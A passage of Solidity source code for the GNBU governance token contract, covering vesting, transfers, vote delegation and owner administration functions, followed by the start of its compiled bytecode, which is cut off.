amount = add96(amount, unvested, "GNBU::balanceOf: overflow");
}
return amount;
}
function availableForUnvesting(address user) external view returns (uint unvestAmount) {
if (_vestingNonces[user] == 0) return 0;
for (uint32 i = 1; i <= _vestingNonces[user]; i++) {
if (_vestingAmounts[user][i] == _unvestedAmounts[user][i]) continue;
if (_vestingReleaseStartDates[user][i] > block.timestamp) break;
uint toUnvest = mul96((block.timestamp - _vestingReleaseStartDates[user][i]), (_vestingAmounts[user][i])) / vestingSecondPeriod;
if (toUnvest > _vestingAmounts[user][i]) {
toUnvest = _vestingAmounts[user][i];
}
toUnvest -= _unvestedAmounts[user][i];
unvestAmount += toUnvest;
}
}
function availableForTransfer(address account) external view returns (uint) {
return _unfrozenBalances[account];
}
function vestingInfo(address user, uint32 nonce) external view returns (uint vestingAmount, uint unvestedAmount, uint vestingReleaseStartDate) {
vestingAmount = _vestingAmounts[user][nonce];
unvestedAmount = _unvestedAmounts[user][nonce];
vestingReleaseStartDate = _vestingReleaseStartDates[user][nonce];
}
function vestingNonces(address user) external view returns (uint lastNonce) {
return _vestingNonces[user];
}
function transfer(address dst, uint rawAmount) external whenNotPaused returns (bool) {
uint96 amount = safe96(rawAmount, "GNBU::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src, address dst, uint rawAmount) external whenNotPaused returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "GNBU::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(2 ** 96 - 1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "GNBU::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function delegate(address delegatee) public whenNotPaused {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public whenNotPaused {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GNBU::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "GNBU::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "GNBU::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function unvest() external whenNotPaused returns (uint96 unvested) {
require (_vestingNonces[msg.sender] > 0, "GNBU::unvest:No vested amount");
for (uint32 i = 1; i <= _vestingNonces[msg.sender]; i++) {
if (_vestingAmounts[msg.sender][i] == _unvestedAmounts[msg.sender][i]) continue;
if (_vestingReleaseStartDates[msg.sender][i] > block.timestamp) break;
uint96 toUnvest = mul96((block.timestamp - _vestingReleaseStartDates[msg.sender][i]), _vestingAmounts[msg.sender][i]) / vestingSecondPeriod;
if (toUnvest > _vestingAmounts[msg.sender][i]) {
toUnvest = _vestingAmounts[msg.sender][i];
}
uint96 totalUnvestedForNonce = toUnvest;
toUnvest = sub96(toUnvest, _unvestedAmounts[msg.sender][i], "GNBU::unvest: already unvested amount exceeds toUnvest");
unvested = add96(unvested, toUnvest, "GNBU::unvest: adding overflow");
_unvestedAmounts[msg.sender][i] = totalUnvestedForNonce;
}
_unfrozenBalances[msg.sender] = add96(_unfrozenBalances[msg.sender], unvested, "GNBU::unvest: adding overflow");
emit Unvest(msg.sender, unvested);
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "GNBU::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = _unfrozenBalances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "GNBU::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "GNBU::_transferTokens: cannot transfer to the zero address");
_unfrozenBalances[src] = sub96(_unfrozenBalances[src], amount, "GNBU::_transferTokens: transfer amount exceeds balance");
_unfrozenBalances[dst] = add96(_unfrozenBalances[dst], amount, "GNBU::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "GNBU::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "GNBU::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "GNBU::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function _vest(address user, uint96 amount) private {
uint32 nonce = ++_vestingNonces[user];
_vestingAmounts[user][nonce] = amount;
_vestingReleaseStartDates[user][nonce] = block.timestamp + vestingFirstPeriod;
_unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], amount, "GNBU::_vest: exceeds owner balance");
emit Transfer(owner, user, amount);
}
function burnTokens(uint rawAmount) public onlyOwner returns (bool success) {
uint96 amount = safe96(rawAmount, "GNBU::burnTokens: amount exceeds 96 bits");
require(amount <= _unfrozenBalances[owner]);
_unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], amount, "GNBU::burnTokens: transfer amount exceeds balance");
totalSupply = sub96(totalSupply, amount, "GNBU::burnTokens: transfer amount exceeds total supply");
emit Transfer(owner, address(0), amount);
return true;
}
function vest(address user, uint rawAmount) external {
require (vesters[msg.sender], "GNBU::vest: not vester");
uint96 amount = safe96(rawAmount, "GNBU::vest: amount exceeds 96 bits");
_vest(user, amount);
}
function multisend(address[] memory to, uint[] memory values) public onlyOwner returns (uint) {
require(to.length == values.length);
require(to.length < 100);
uint sum;
for (uint j; j < values.length; j++) {
sum += values[j];
}
uint96 _sum = safe96(sum, "GNBU::transfer: amount exceeds 96 bits");
_unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], _sum, "GNBU::_transferTokens: transfer amount exceeds balance");
for (uint i; i < to.length; i++) {
_unfrozenBalances[to[i]] = add96(_unfrozenBalances[to[i]], uint96(values[i]), "GNBU::_transferTokens: transfer amount exceeds balance");
emit Transfer(owner, to[i], values[i]);
}
return(to.length);
}
function multivest(address[] memory to, uint[] memory values) external onlyOwner returns (uint) {
require(to.length == values.length);
require(to.length < 100);
uint sum;
for (uint j; j < values.length; j++) {
sum += values[j];
}
uint96 _sum = safe96(sum, "GNBU::multivest: amount exceeds 96 bits");
_unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], _sum, "GNBU::multivest: transfer amount exceeds balance");
for (uint i; i < to.length; i++) {
uint32 nonce = ++_vestingNonces[to[i]];
_vestingAmounts[to[i]][nonce] = uint96(values[i]);
_vestingReleaseStartDates[to[i]][nonce] = block.timestamp + vestingFirstPeriod;
emit Transfer(owner, to[i], values[i]);
}
return(to.length);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return IERC20(tokenAddress).transfer(owner, tokens);
}
function updateVesters(address vester, bool isActive) external onlyOwner {
vesters[vester] = isActive;
}
function acceptOwnership() public override {
require(msg.sender == newOwner);
uint96 amount = _unfrozenBalances[owner];
_transferTokens(owner, newOwner, amount);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
function updateSupportUnitAdd(address newSupportUnit) external onlyOwner {
for (uint i; i < supportUnits.length; i++) {
require (supportUnits[i] != newSupportUnit, "GNBU::updateSupportUnitAdd: support unit exists");
}
supportUnits.push(newSupportUnit);
supportUnitsCnt++;
}
function updateSupportUnitRemove(uint supportUnitIndex) external onlyOwner {
supportUnits[supportUnitIndex] = supportUnits[supportUnits.length - 1];
supportUnits.pop();
supportUnitsCnt--;
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal view returns (uint) {
return block.chainid;
}
function mul96(uint96 a, uint96 b) internal pure returns (uint96) {
if (a == 0) {
return 0;
}
uint96 c = a * b;
require(c / a == b, "GNBU:mul96: multiplication overflow");
return c;
}
function mul96(uint256 a, uint96 b) internal pure returns (uint96) {
uint96 _a = safe96(a, "GNBU:mul96: amount exceeds uint96");
if (_a == 0) {
return 0;
}
uint96 c = _a * b;
require(c / _a == b, "GNBU:mul96: multiplication overflow");
return c;
}
}
|
0x608060405234801561001057600080fd5b50600436106102ff5760003560e01c80638456cb591161019c578063c3cda520116100ee578063dc39d06d11610097578063f1127ed811610071578063f1127ed8146105e7578063f1b5c88e14610608578063f2fde38b1461061b576102ff565b8063dc39d06d146105b9578063dd62ed3e146105cc578063e7a324dc146105df576102ff565b8063d505accf116100c8578063d505accf14610571578063d84a139d14610584578063dc25ca51146105a6576102ff565b8063c3cda52014610543578063c3ef298714610556578063d4ee1d9014610569576102ff565b8063a9059cbb11610150578063b24d53101161012a578063b24d53101461050a578063b4b5ea571461051d578063bdfb5b9014610530576102ff565b8063a9059cbb146104dc578063aad41a41146104ef578063aff00e7514610502576102ff565b806395d89b411161018157806395d89b41146104b9578063985d5449146104c1578063a6237aa2146104c9576102ff565b80638456cb59146104a95780638da5cb5b146104b1576102ff565b80633f4ba83a116102555780636fcfff4511610209578063782d6fe1116101e3578063782d6fe11461047b57806379ba50971461048e5780637ecebe0014610496576102ff565b80636fcfff451461043557806370a082311461045557806371ad963414610468576102ff565b80635c19a95c1161023a5780635c19a95c146104075780635c975abb1461041a5780636d1b229d14610422576102ff565b80633f4ba83a146103df578063587cde1e146103e7576102ff565b806320606b70116102b75780632797c6c8116102915780632797c6c8146103ad57806330adf81f146103c2578063313ce567146103ca576102ff565b806320606b701461037f57806323b872dd1461038757806324d6239e1461039a576102ff565b80631501ea1c116102e85780631501ea1c1461034257806318160ddd146103555780631dcd5c5d1461036a576102ff565b806306fdde0314610304578063095ea7b314610322575b600080fd5b61030c61062e565b60405161031991906147c9565b60405180910390f35b61033561033036600461449e565b610667565b60405161031991906146f4565b610335610350366004614378565b6107a2565b61035d6107b7565b6040516103199190614cc3565b6103726107cb565b60405161031991906146ff565b6103726107d1565b6103356103953660046143c4565b6107f5565b6103726103a8366004614378565b6109c0565b6103c06103bb36600461449e565b6109fa565b005b610372610a81565b6103d2610aa5565b6040516103199190614cb5565b6103c0610aaa565b6103fa6103f5366004614378565b610b75565b6040516103199190614679565b6103c0610415366004614378565b610b9d565b610335610bd2565b61033561043036600461462b565b610bf3565b610448610443366004614378565b610e33565b6040516103199190614c80565b610372610463366004614378565b610e4b565b610372610476366004614378565b610fd5565b61035d61048936600461449e565b611003565b6103c06112c4565b6103726104a4366004614378565b6113ca565b6103c06113dc565b6103fa6114bf565b61030c6114db565b61035d611514565b6103c06104d7366004614468565b611921565b6103356104ea36600461449e565b6119c8565b6103726104fd366004614551565b611a2e565b610372611ec3565b6103c061051836600461462b565b612003565b61035d61052b366004614378565b6121ec565b6103fa61053e36600461462b565b61228a565b6103c06105513660046144c7565b6122c1565b610372610564366004614551565b612591565b6103fa612ad7565b6103c061057f3660046143ff565b612af3565b61059761059236600461451e565b612f7e565b60405161031993929190614c6a565b6103c06105b4366004614378565b612ff9565b6103356105c736600461449e565b613192565b6103726105da366004614392565b613290565b6103726132d6565b6105fa6105f536600461451e565b6132fa565b604051610319929190614c91565b610372610616366004614378565b613335565b6103c0610629366004614378565b61361e565b6040518060400160405280601781526020017f4e696d62757320476f7665726e616e636520546f6b656e00000000000000000081525081565b60015460009074010000000000000000000000000000000000000000900460ff161561069257600080fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156106cf57506bffffffffffffffffffffffff6106f4565b6106f1836040518060600160405280602581526020016151ce602591396136de565b90505b33600081815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff891680855292529182902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061078e908590614cc3565b60405180910390a360019150505b92915050565b60096020526000908152604090205460ff1681565b6002546bffffffffffffffffffffffff1681565b600c5481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60015460009074010000000000000000000000000000000000000000900460ff161561082057600080fd5b73ffffffffffffffffffffffffffffffffffffffff841660009081526003602090815260408083203380855290835281842054825160608101909352602580845291946bffffffffffffffffffffffff9091169390926108889288926151ce908301396136de565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156108d457506bffffffffffffffffffffffff82811614155b156109a85760006108fe83836040518060600160405280603d8152602001614feb603d9139613730565b73ffffffffffffffffffffffffffffffffffffffff8981166000818152600360209081526040808320948a16808452949091529081902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff86161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061099e908590614cc3565b60405180910390a3505b6109b387878361379e565b5060019695505050505050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600460205260409020546bffffffffffffffffffffffff165b919050565b3360009081526009602052604090205460ff16610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614903565b60405180910390fd5b6000610a708260405180606001604052806022815260200161532d602291396136de565b9050610a7c8382613a05565b505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60005473ffffffffffffffffffffffffffffffffffffffff163314610afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60015474010000000000000000000000000000000000000000900460ff16610b2257600080fd5b600180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600d6020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60015474010000000000000000000000000000000000000000900460ff1615610bc557600080fd5b610bcf3382613bff565b50565b60015474010000000000000000000000000000000000000000900460ff1681565b6000805473ffffffffffffffffffffffffffffffffffffffff163314610c45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b6000610c69836040518060600160405280602881526020016150f9602891396136de565b6000805473ffffffffffffffffffffffffffffffffffffffff168152600460205260409020549091506bffffffffffffffffffffffff9081169082161115610cb057600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020908152604091829020548251606081019093526031808452610d0d936bffffffffffffffffffffffff909216928592919061519d90830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff1681526004602090815260409182902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff9485161790556002548251606081019093526036808452610d98949190911692859290919061527990830139613730565b600280547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff929092169190911790556000805460405173ffffffffffffffffffffffffffffffffffffffff909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e22908590614cc3565b60405180910390a350600192915050565b600f6020526000908152604090205463ffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff811660009081526004602090815260408083205460059092528220546bffffffffffffffffffffffff9091169063ffffffff16610eac576bffffffffffffffffffffffff1690506109f5565b60015b73ffffffffffffffffffffffffffffffffffffffff841660009081526005602052604090205463ffffffff90811690821611610fc05773ffffffffffffffffffffffffffffffffffffffff8416600081815260066020908152604080832063ffffffff86168085529083528184205494845260078352818420908452825280832054815160608101909252602e8083529394610f68946bffffffffffffffffffffffff918216949290911692916150cb90830139613730565b9050610faa83826040518060400160405280601981526020017f474e42553a3a62616c616e63654f663a206f766572666c6f7700000000000000815250613cb3565b9250508080610fb890614ef5565b915050610eaf565b506bffffffffffffffffffffffff1692915050565b73ffffffffffffffffffffffffffffffffffffffff1660009081526005602052604090205463ffffffff1690565b600043821061103e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a439061483a565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600f602052604090205463ffffffff168061107957600091505061079c565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600e6020526040812084916110ab600185614e3d565b63ffffffff908116825260208201929092526040016000205416116111315773ffffffffffffffffffffffffffffffffffffffff84166000908152600e60205260408120906110fb600184614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff16915061079c9050565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600e6020908152604080832083805290915290205463ffffffff1683101561117957600091505061079c565b600080611187600184614e3d565b90505b8163ffffffff168163ffffffff16111561126c57600060026111ac8484614e3d565b6111b69190614db0565b6111c09083614e3d565b73ffffffffffffffffffffffffffffffffffffffff88166000908152600e6020908152604080832063ffffffff8581168552908352928190208151808301909252549283168082526401000000009093046bffffffffffffffffffffffff16918101919091529192508714156112405760200151945061079c9350505050565b805163ffffffff1687111561125757819350611265565b611262600183614e3d565b92505b505061118a565b5073ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020908152604080832063ffffffff909416835292905220546bffffffffffffffffffffffff6401000000009091041691505092915050565b60015473ffffffffffffffffffffffffffffffffffffffff1633146112e857600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff90811680835260046020526040909220546001546bffffffffffffffffffffffff90911692611333929091168361379e565b6001546000805460405173ffffffffffffffffffffffffffffffffffffffff93841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35060018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60106020526000908152604090205481565b60005473ffffffffffffffffffffffffffffffffffffffff16331461142d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60015474010000000000000000000000000000000000000000900460ff161561145557600080fd5b600180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16740100000000000000000000000000000000000000001790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f474e42550000000000000000000000000000000000000000000000000000000081525081565b60015460009074010000000000000000000000000000000000000000900460ff161561153f57600080fd5b3360009081526005602052604090205463ffffffff1661158b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614ae5565b60015b3360009081526005602052604090205463ffffffff908116908216116118355733600081815260076020908152604080832063ffffffff861680855290835281842054948452600683528184209084529091529020546bffffffffffffffffffffffff9081169116141561160157611823565b33600090815260086020908152604080832063ffffffff8516845290915290205442101561162e57611835565b600a5433600090815260086020908152604080832063ffffffff8616845290915281205490916c0100000000000000000000000090046bffffffffffffffffffffffff16906116b5906116819042614e26565b33600090815260066020908152604080832063ffffffff891684529091529020546bffffffffffffffffffffffff16613d24565b6116bf9190614dd3565b33600090815260066020908152604080832063ffffffff871684529091529020549091506bffffffffffffffffffffffff908116908216111561172d575033600090815260066020908152604080832063ffffffff851684529091529020546bffffffffffffffffffffffff165b33600090815260076020908152604080832063ffffffff8616845282529182902054825160608101909352603680845284936117819385936bffffffffffffffffffffffff169290614fb590830139613730565b91506117c384836040518060400160405280601d81526020017f474e42553a3a756e766573743a20616464696e67206f766572666c6f77000000815250613cb3565b33600090815260076020908152604080832063ffffffff88168452909152902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff93909316929092179091559250505b8061182d81614ef5565b91505061158e565b5033600090815260046020908152604091829020548251808401909352601d83527f474e42553a3a756e766573743a20616464696e67206f766572666c6f770000009183019190915261189a916bffffffffffffffffffffffff909116908390613cb3565b336000818152600460205260409081902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff949094169390931790925590517ffa5db7be915522c6b65b302ca1c4bfbfd4f0d898d50af75e513796dc44aee52b916119169184906146c0565b60405180910390a190565b60005473ffffffffffffffffffffffffffffffffffffffff163314611972576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260096020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60015460009074010000000000000000000000000000000000000000900460ff16156119f357600080fd5b6000611a1783604051806060016040528060268152602001615121602691396136de565b9050611a2433858361379e565b5060019392505050565b6000805473ffffffffffffffffffffffffffffffffffffffff163314611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b8151835114611a8e57600080fd5b6064835110611a9c57600080fd5b6000805b8351811015611b0957838181518110611ae2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015182611af59190614d49565b915080611b0181614ebc565b915050611aa0565b506000611b2e82604051806060016040528060268152602001615121602691396136de565b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020908152604091829020548251606081019093526036808452939450611b8f936bffffffffffffffffffffffff9091169285929091906152af90830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020526040812080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff93909316929092179091555b8551811015611eb857611cf460046000888481518110611c3a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16868381518110611cce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516040518060600160405280603681526020016152af60369139613cb3565b60046000888481518110611d31577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550858181518110611dda577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110611e89577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151604051611e9e91906146ff565b60405180910390a380611eb081614ebc565b915050611bf1565b505092519392505050565b6000805473ffffffffffffffffffffffffffffffffffffffff168152600460205260408120546bffffffffffffffffffffffff16815b600b54811015611fb957611fa58260046000600b8581548110611f45577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282810193909352604091820190205481516060810190925260268083526bffffffffffffffffffffffff909116926151f390830139613cb3565b915080611fb181614ebc565b915050611ef9565b5060025460408051606081019091526030808252611fef926bffffffffffffffffffffffff169184916150286020830139613730565b6bffffffffffffffffffffffff1691505090565b60005473ffffffffffffffffffffffffffffffffffffffff163314612054576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b600b805461206490600190614e26565b8154811061209b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260209091200154600b805473ffffffffffffffffffffffffffffffffffffffff90921691839081106120fb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b80548061217b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60008281526020812082017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055909101909155600c8054916121e483614e87565b919050555050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600f602052604081205463ffffffff1680612224576000612283565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600e6020526040812090612255600184614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff165b9392505050565b600b818154811061229a57600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b60015474010000000000000000000000000000000000000000900460ff16156122e957600080fd5b60408051808201909152601781527f4e696d62757320476f7665726e616e636520546f6b656e00000000000000000060209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fdedc3a41841d54a0c22d8c6d98aba038f54aa37f881e54f102160c5b828fed1c61236a613dd4565b3060405160200161237e949392919061477a565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016123cf9493929190614749565b604051602081830303815290604052805190602001209050600082826040516020016123fc929190614643565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161243994939291906147ab565b6020604051602081039080840390855afa15801561245b573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166124d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614bd6565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260106020526040812080549161250483614ebc565b919050558914612540576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614b79565b8742111561257a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614a51565b612584818b613bff565b505050505b505050505050565b6000805473ffffffffffffffffffffffffffffffffffffffff1633146125e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b81518351146125f157600080fd5b60648351106125ff57600080fd5b6000805b835181101561266c57838181518110612645577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151826126589190614d49565b91508061266481614ebc565b915050612603565b50600061269182604051806060016040528060278152602001615058602791396136de565b6000805473ffffffffffffffffffffffffffffffffffffffff168152600460209081526040918290205482516060810190935260308084529394506126f2936bffffffffffffffffffffffff90911692859290919061521990830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020526040812080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff93909316929092179091555b8551811015611eb85760006005600088848151811061279c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081819054906101000a900463ffffffff166127fa90614ef5565b91906101000a81548163ffffffff021916908363ffffffff16021790559050858281518110612852577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160066000898581518110612897577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff168252818101929092526040908101600090812063ffffffff86168252909252902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff928316179055600a5461291f911642614d49565b6008600089858151811061295c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff168152602001908152602001600020819055508682815181106129f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473fffff